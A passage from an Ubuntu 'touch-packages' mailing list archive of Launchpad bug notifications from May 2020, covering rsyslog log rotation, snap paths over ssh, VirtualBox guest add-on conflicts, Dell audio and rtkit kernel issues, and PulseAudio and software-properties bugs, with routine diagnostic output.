Title:
  logrotate file fails on all but sysvinit

Status in rsyslog package in Ubuntu:
  Invalid

Bug description:
  The logrotate file supplied can not work with Upstart or systemd
  because it calls `service rsyslog rotate` -- neither support custom
  actions. Instead a custom script to send SIGHUP to rsyslog depending
  on the init system should be used. It can just use

  * `initctl reload rsyslog` with Upstart
  * `systemctl kill --signal=SIGHUP --kill-who=main rsyslog.service` with 
systemd
  * `/etc/init.d/rsyslog rotate` with sysvinit

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/rsyslog/+bug/1464745/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1659719] Re: ssh can't call a binary from a snap without the full path

2020-05-19 Thread Brian Murray
** Tags added: rls-gg-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1659719

Title:
  ssh can't call a binary from a snap without the full path

Status in Snappy:
  Fix Committed
Status in livecd-rootfs package in Ubuntu:
  Fix Committed
Status in openssh package in Ubuntu:
  Confirmed
Status in pam package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed

Bug description:
  ssh can't call a binary from a snap, it will only work using the full
  path.

  Let's say I have the hello snap installed in 192.168.122.24. Then:

  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 hello
  elopio@192.168.122.24's password:
  bash: hello: command not found
  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 /snap/bin/hello
  elopio@192.168.122.24's password:
  Hello, world!

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1659719/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878553] Re: Ubuntu could not install Virtualbox Guest addons

2020-05-19 Thread Olivier Tilloy
Output of "ubuntu-drivers devices" in that same VM:

ubuntu@groovyvm:~$ ubuntu-drivers devices
== /sys/devices/pci:00/:00:04.0 ==
modalias : pci:v80EEdCAFEsvsdbc08sc80i00
vendor   : InnoTek Systemberatung GmbH
model: VirtualBox Guest Service
manual_install: True
driver   : virtualbox-guest-dkms - distro non-free
driver   : virtualbox-guest-dkms-hwe - distro non-free

== /sys/devices/pci:00/:00:02.0 ==
modalias : pci:v80EEdBEEFsvsdbc03sc00i00
vendor   : InnoTek Systemberatung GmbH
model: VirtualBox Graphics Adapter
driver   : virtualbox-guest-x11 - distro non-free
driver   : virtualbox-guest-x11-hwe - distro non-free

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1878553

Title:
  Ubuntu could not install Virtualbox Guest addons

Status in software-properties package in Ubuntu:
  New
Status in software-properties source package in Groovy:
  New

Bug description:
  It seems that Ubuntu is not able to install the VirtualBox Guest add-
  ons even Ubuntu is able to detect it.

  See Attachement.

  Ubuntu 20.04
  Basic install after Reboot, Update and Reboot again.

  Similar Tickets in Launchpad but really old:
  https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1434579

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1878553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879462] Re: [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a working profile

2020-05-19 Thread Hui Wang
This is a linux kernel bug instead of a pulseaudio bug,  there is no
dmic connected to the PCH, so the kernel should uses the legacy hda
driver on this machine.


** Package changed: pulseaudio (Ubuntu) => linux (Ubuntu)

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Hui Wang (hui.wang)

** Changed in: linux (Ubuntu)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1879462

Title:
  [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a
  working profile

Status in linux package in Ubuntu:
  New

Bug description:
  kchsieh@kchsieh-Inspiron-3790:~$ lsb_release -rd
  Description:  Ubuntu 20.04 LTS
  Release:  20.04
  kchsieh@kchsieh-Inspiron-3790:~$

  pulseaudio:
Installed: 1:13.99.1-1ubuntu3.2
Candidate: 1:13.99.1-1ubuntu3.2
Version table:
   *** 1:13.99.1-1ubuntu3.2 500
  500 http://tw.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   1:13.99.1-1ubuntu3 500
  500 http://tw.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  Expect result:
  module-alsa-card loads successfully, 'pacmd info' shows the recognized sink 
device.

  Actual result:
  'pacmd info' shows "Dummy Output", and failed to load module-alsa-card.
  1 sink(s) available.
* index: 0
name: 
driver: 
flags: DECIBEL_VOLUME LATENCY DYNAMIC_LATENCY
state: IDLE
suspend cause: (none)
priority: 1000
volume: front-left: 65536 / 100% / 0.00 dB,   front-right: 65536 / 100% 
/ 0.00 dB
balance 0.00
base volume: 65536 / 100% / 0.00 dB
volume steps: 65537
muted: no
current latency: 3.51 ms
max request: 6 KiB
max rewind: 6 KiB
monitor source: 0
sample spec: s16le 2ch 44100Hz
channel map: front-left,front-right
 Stereo
used by: 0
linked by: 1
configured latency: 40.00 ms; range is 0.50 .. 2000.00 ms
module: 14
properties:
device.description = "Dummy Output"
device.class = "abstract"
device.icon_name = "audio-card"
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D0', '/dev/snd/hwC0D2', 
'/dev/snd/pcmC0D5p', '/dev/snd/pcmC0D4p', '/dev/snd/pcmC0D3p', 
'/dev/snd/pcmC0D1c', '/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-04-16 (33 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200415.2)
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.6.0-1010.10-oem 5.6.8
  Tags:  focal
  Uname: Linux 5.6.0-1010-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/15/2019
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.2.0
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.2.0:bd08/15/2019:svnDellInc.:pnInspiron3790:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 3790
  dmi.product.sku: 096B
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1879462/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1875665] Re: rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted after upgrade to 20.04

2020-05-19 Thread Ubuntu Kernel Bot
This bug is awaiting verification that the kernel in -proposed solves
the problem. Please test the kernel and update this bug with the
results. If the problem is solved, change the tag 'verification-needed-
focal' to 'verification-done-focal'. If the problem still exists, change
the tag 'verification-needed-focal' to 'verification-failed-focal'.

If verification is not done by 5 working days from today, this fix will
be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how
to enable and use -proposed. Thank you!


** Tags added: verification-needed-focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rtkit in Ubuntu.
https://bugs.launchpad.net/bugs/1875665

Title:
  rtkit-daemon[*]: Failed to make ourselves RT: Operation not permitted
  after upgrade to 20.04

Status in linux package in Ubuntu:
  Fix Committed
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-kvm package in Ubuntu:
  Invalid
Status in linux-oracle package in Ubuntu:
  Invalid
Status in linux-riscv package in Ubuntu:
  Invalid
Status in rtkit package in Ubuntu:
  Confirmed
Status in linux source package in Focal:
  Fix Committed
Status in linux-azure source package in Focal:
  Fix Committed
Status in linux-gcp source package in Focal:
  Fix Committed
Status in linux-kvm source package in Focal:
  Fix Committed
Status in linux-oracle source package in Focal:
  Fix Committed
Status in linux-riscv source package in Focal:
  Fix Committed
Status in rtkit source package in Focal:
  Confirmed

Bug description:
  SRU Justification

  Impact: CONFIG_RT_GROUP_SCHED was enabled in focal, except for the
  lowlatency kernel since we expected most RT users to use that kernel.
  However we are getting RT regressions with the generic kernel. Digging
  deeper into this option, it seems to be pretty specialized and to
  require quite a bit of workload-specific configuration/tuning to be
  useful, so it doesn't really seem to make sense for a general-purpose
  kernel.

  Fix: Turn this option back off.

  Test Case: See comment #4.

  Regression Potential: This was turned on to support some docker
  functionality, so this functionality will no longer be available.
  We've had this option off for all releases prior to focal, so this
  seems acceptable.

  ---

  These errors started right after upgrading to 20.04.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: rtkit 0.12-4
  ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30
  Uname: Linux 5.4.0-26-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Apr 28 10:31:43 2020
  InstallationDate: Installed on 2019-06-18 (315 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  ProcEnviron:
   TERM=tmux-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: rtkit
  UpgradeStatus: Upgraded to focal on 2020-04-21 (6 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1875665/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879462] Re: [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a working profile

2020-05-19 Thread Hui Wang
"snd_hda_intel.dmic_detect=0".

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1879462

Title:
  [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a
  working profile

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  kchsieh@kchsieh-Inspiron-3790:~$ lsb_release -rd
  Description:  Ubuntu 20.04 LTS
  Release:  20.04
  kchsieh@kchsieh-Inspiron-3790:~$

  pulseaudio:
Installed: 1:13.99.1-1ubuntu3.2
Candidate: 1:13.99.1-1ubuntu3.2
Version table:
   *** 1:13.99.1-1ubuntu3.2 500
  500 http://tw.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   1:13.99.1-1ubuntu3 500
  500 http://tw.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  Expect result:
  module-alsa-card loads successfully, 'pacmd info' shows the recognized sink 
device.

  Actual result:
  'pacmd info' shows "Dummy Output", and failed to load module-alsa-card.
  1 sink(s) available.
* index: 0
name: 
driver: 
flags: DECIBEL_VOLUME LATENCY DYNAMIC_LATENCY
state: IDLE
suspend cause: (none)
priority: 1000
volume: front-left: 65536 / 100% / 0.00 dB,   front-right: 65536 / 100% 
/ 0.00 dB
balance 0.00
base volume: 65536 / 100% / 0.00 dB
volume steps: 65537
muted: no
current latency: 3.51 ms
max request: 6 KiB
max rewind: 6 KiB
monitor source: 0
sample spec: s16le 2ch 44100Hz
channel map: front-left,front-right
 Stereo
used by: 0
linked by: 1
configured latency: 40.00 ms; range is 0.50 .. 2000.00 ms
module: 14
properties:
device.description = "Dummy Output"
device.class = "abstract"
device.icon_name = "audio-card"
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D0', '/dev/snd/hwC0D2', 
'/dev/snd/pcmC0D5p', '/dev/snd/pcmC0D4p', '/dev/snd/pcmC0D3p', 
'/dev/snd/pcmC0D1c', '/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-04-16 (33 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200415.2)
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.6.0-1010.10-oem 5.6.8
  Tags:  focal
  Uname: Linux 5.6.0-1010-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/15/2019
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.2.0
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.2.0:bd08/15/2019:svnDellInc.:pnInspiron3790:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 3790
  dmi.product.sku: 096B
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1879462/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879462] Re: [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a working profile

2020-05-19 Thread Hui Wang
On your machine, there is a internal mic connected to the codec, so
please try with "snd_hda_inte.dmic_detect=0".

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1879462

Title:
  [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a
  working profile

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  kchsieh@kchsieh-Inspiron-3790:~$ lsb_release -rd
  Description:  Ubuntu 20.04 LTS
  Release:  20.04
  kchsieh@kchsieh-Inspiron-3790:~$

  pulseaudio:
Installed: 1:13.99.1-1ubuntu3.2
Candidate: 1:13.99.1-1ubuntu3.2
Version table:
   *** 1:13.99.1-1ubuntu3.2 500
  500 http://tw.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   1:13.99.1-1ubuntu3 500
  500 http://tw.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  Expect result:
  module-alsa-card loads successfully, 'pacmd info' shows the recognized sink 
device.

  Actual result:
  'pacmd info' shows "Dummy Output", and failed to load module-alsa-card.
  1 sink(s) available.
* index: 0
name: 
driver: 
flags: DECIBEL_VOLUME LATENCY DYNAMIC_LATENCY
state: IDLE
suspend cause: (none)
priority: 1000
volume: front-left: 65536 / 100% / 0.00 dB,   front-right: 65536 / 100% 
/ 0.00 dB
balance 0.00
base volume: 65536 / 100% / 0.00 dB
volume steps: 65537
muted: no
current latency: 3.51 ms
max request: 6 KiB
max rewind: 6 KiB
monitor source: 0
sample spec: s16le 2ch 44100Hz
channel map: front-left,front-right
 Stereo
used by: 0
linked by: 1
configured latency: 40.00 ms; range is 0.50 .. 2000.00 ms
module: 14
properties:
device.description = "Dummy Output"
device.class = "abstract"
device.icon_name = "audio-card"
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D0', '/dev/snd/hwC0D2', 
'/dev/snd/pcmC0D5p', '/dev/snd/pcmC0D4p', '/dev/snd/pcmC0D3p', 
'/dev/snd/pcmC0D1c', '/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-04-16 (33 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200415.2)
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.6.0-1010.10-oem 5.6.8
  Tags:  focal
  Uname: Linux 5.6.0-1010-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/15/2019
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.2.0
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.2.0:bd08/15/2019:svnDellInc.:pnInspiron3790:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 3790
  dmi.product.sku: 096B
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1879462/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878553] Re: Ubuntu could not install Virtualbox Guest addons

2020-05-19 Thread Olivier Tilloy
I can reliably observe the problem in a groovy VM.
However, contrary to what Séb is observing, "sudo ubuntu-drivers install" 
raises an error:

ubuntu@groovyvm:~$ LANG=C sudo ubuntu-drivers install
Reading package lists... Done
Building dependency tree   
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 virtualbox-guest-dkms-hwe : Conflicts: virtualbox-guest-dkms
 virtualbox-guest-x11-hwe : Depends: virtualbox-guest-utils-hwe (= 
6.1.8-dfsg-1ubuntu20.10.1) but it is not going to be installed
Conflicts: virtualbox-guest-x11
E: Unable to correct problems, you have held broken packages.


And the output of "dpkg -l | grep virtualbox-guest" is empty.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1878553

Title:
  Ubuntu could not install Virtualbox Guest addons

Status in software-properties package in Ubuntu:
  New
Status in software-properties source package in Groovy:
  New

Bug description:
  It seems that Ubuntu is not able to install the VirtualBox Guest add-
  ons even Ubuntu is able to detect it.

  See Attachement.

  Ubuntu 20.04
  Basic install after Reboot, Update and Reboot again.

  Similar Tickets in Launchpad but really old:
  https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1434579

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1878553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879144] Re: Custom volume output configuration reset

2020-05-19 Thread William Chan
It seems that it is not a single problem that happens on analog surround
4.0

I tried using Bluetooth audio, then set custom balance. The same thing
resets when the volume gradually turns down and reached 0 volume. Didn't
reset when I manually mute it with a switch or through a button.

** Summary changed:

- Volume output settings reset on analog surround 4.0
+ Custom volume output configuration reset

** Summary changed:

- Custom volume output configuration reset
+ Audio custom output settings reset

** Summary changed:

- Audio custom output settings reset
+ Audio custom output settings unintendly reset

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1879144

Title:
  Audio custom output settings unintendly reset

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  It seems to be a pulseaudio issue but unsure if it is a settings
  error.

  Version: Ubuntu 20.04 LTS / 20.04
  Computer Model: HP Envy x360 13 with AMD Ryzen 3500U
  PulseAudio version: 1:13.99.1-1ubuntu3.2

  Problem Description:
  When manually reduce volume, Balance and Fade level resets when such 
reduction reaches 0 audio output.

  This is not the case when I manually mute the audio output (or with a
  mute switch)

  Intended Outcome:
  There should not be any reset at all.

  Other information:
  It seems to be a problem with pulseaudio. However, I cannot confirm if it is 
a bug from the pulseaudio side or the Ubuntu settings side.

  Intended outcome: It should work the same: turning the volume to 0
  should not reset the fade settings nor the balance settings.

  Check the screencast below for what is going on (youtube link)
  (0:00-0:22): https://www.youtube.com/watch?v=EEsClQ7Pj08

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1879144/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1859308] Re: software-properties-gtk erroneously reports that certain Intel wireless adapter cards are not working

2020-05-19 Thread Iain Lane
** Also affects: software-properties (Ubuntu Groovy)
   Importance: Low
 Assignee: Olivier Tilloy (osomon)
   Status: Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1859308

Title:
  software-properties-gtk erroneously reports that certain Intel
  wireless adapter cards are not working

Status in software-properties package in Ubuntu:
  Confirmed
Status in software-properties source package in Groovy:
  Confirmed

Bug description:
  On Ubuntu 20.04 (development branch), as of today, Additional Drivers
  (software-properties-gtk 0.98.6) reports that the device "Intel
  Corporation: Wireless-AC 9260" is not working, and suggests using a
  manually installed driver (cf. screenshot).

  However the device is working correctly:

    * lsmod | grep iwlwifi, lspci -v, lshw, dmesg | grep iwlwifi all show
  that its driver iwlwifi is in use
    * ls /lib/firmware/*9260* show that the appropriate firmware files
  are present

  And I am indeed writing this bug report connected to an ac (5 GHz)
  wifi network, where I can verify a ~130-160 Mbps download speed, so
  software-properties-gtk shouldn't report the device as not working and
  suggest manually installing a driver. Not sure why it says so?

  EDIT: bug confirmed as affecting the following Intel wireless adapter
  cards, and assumedly more to come:

Intel Wi-Fi 6 AX200
Intel Dual Band Wireless-AC 3165
Intel Dual Band Wireless-AC 7260
Intel Dual Band Wireless-AC 8260
Intel Wireless-AC 9260

  Also for reference here are the specs of Intel adapter cards:

ark.intel.com/content/www/us/en/ark.html#@WirelessNetworking

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: software-properties-gtk 0.98.6
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jan 12 00:53:43 2020
  ExecutablePath: /usr/bin/software-properties-gtk
  InstallationDate: Installed on 2019-12-29 (13 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Alpha amd64 (20191226)
  InterpreterPath: /usr/bin/python3.7
  PackageArchitecture: all
  Python3Details: /usr/bin/python3.7, Python 3.7.6, python3-minimal, 
3.7.5-1ubuntu1
  PythonDetails: /usr/bin/python2.7, Python 2.7.17, python-minimal, 2.7.17-1
  SourcePackage: software-properties
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1859308/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1859308] Re: software-properties-gtk erroneously reports that certain Intel wireless adapter cards are not working

2020-05-19 Thread Olivier Tilloy
** Tags removed: rls-ff-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1859308

Title:
  software-properties-gtk erroneously reports that certain Intel
  wireless adapter cards are not working

Status in software-properties package in Ubuntu:
  Confirmed
Status in software-properties source package in Groovy:
  Confirmed

Bug description:
  On Ubuntu 20.04 (development branch), as of today, Additional Drivers
  (software-properties-gtk 0.98.6) reports that the device "Intel
  Corporation: Wireless-AC 9260" is not working, and suggests using a
  manually installed driver (cf. screenshot).

  However the device is working correctly:

    * lsmod | grep iwlwifi, lspci -v, lshw, dmesg | grep iwlwifi all show
  that its driver iwlwifi is in use
    * ls /lib/firmware/*9260* show that the appropriate firmware files
  are present

  And I am indeed writing this bug report connected to an ac (5 GHz)
  wifi network, where I can verify a ~130-160 Mbps download speed, so
  software-properties-gtk shouldn't report the device as not working and
  suggest manually installing a driver. Not sure why it says so?

  EDIT: bug confirmed as affecting the following Intel wireless adapter
  cards, and assumedly more to come:

Intel Wi-Fi 6 AX200
Intel Dual Band Wireless-AC 3165
Intel Dual Band Wireless-AC 7260
Intel Dual Band Wireless-AC 8260
Intel Wireless-AC 9260

  Also for reference here are the specs of Intel adapter cards:

ark.intel.com/content/www/us/en/ark.html#@WirelessNetworking

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: software-properties-gtk 0.98.6
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jan 12 00:53:43 2020
  ExecutablePath: /usr/bin/software-properties-gtk
  InstallationDate: Installed on 2019-12-29 (13 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Alpha amd64 (20191226)
  InterpreterPath: /usr/bin/python3.7
  PackageArchitecture: all
  Python3Details: /usr/bin/python3.7, Python 3.7.6, python3-minimal, 
3.7.5-1ubuntu1
  PythonDetails: /usr/bin/python2.7, Python 2.7.17, python-minimal, 2.7.17-1
  SourcePackage: software-properties
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1859308/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878553] Re: Ubuntu could not install Virtualbox Guest addons

2020-05-19 Thread Iain Lane
** Also affects: software-properties (Ubuntu Groovy)
   Importance: Undecided
 Assignee: Olivier Tilloy (osomon)
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1878553

Title:
  Ubuntu could not install Virtualbox Guest addons

Status in software-properties package in Ubuntu:
  New
Status in software-properties source package in Groovy:
  New

Bug description:
  It seems that Ubuntu is not able to install the VirtualBox Guest add-
  ons even Ubuntu is able to detect it.

  See Attachement.

  Ubuntu 20.04
  Basic install after Reboot, Update and Reboot again.

  Similar Tickets in Launchpad but really old:
  https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1434579

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1878553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878553] Re: Ubuntu could not install Virtualbox Guest addons

2020-05-19 Thread Olivier Tilloy
** Changed in: software-properties (Ubuntu)
 Assignee: (unassigned) => Olivier Tilloy (osomon)

** Tags removed: rls-ff-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1878553

Title:
  Ubuntu could not install Virtualbox Guest addons

Status in software-properties package in Ubuntu:
  New
Status in software-properties source package in Groovy:
  New

Bug description:
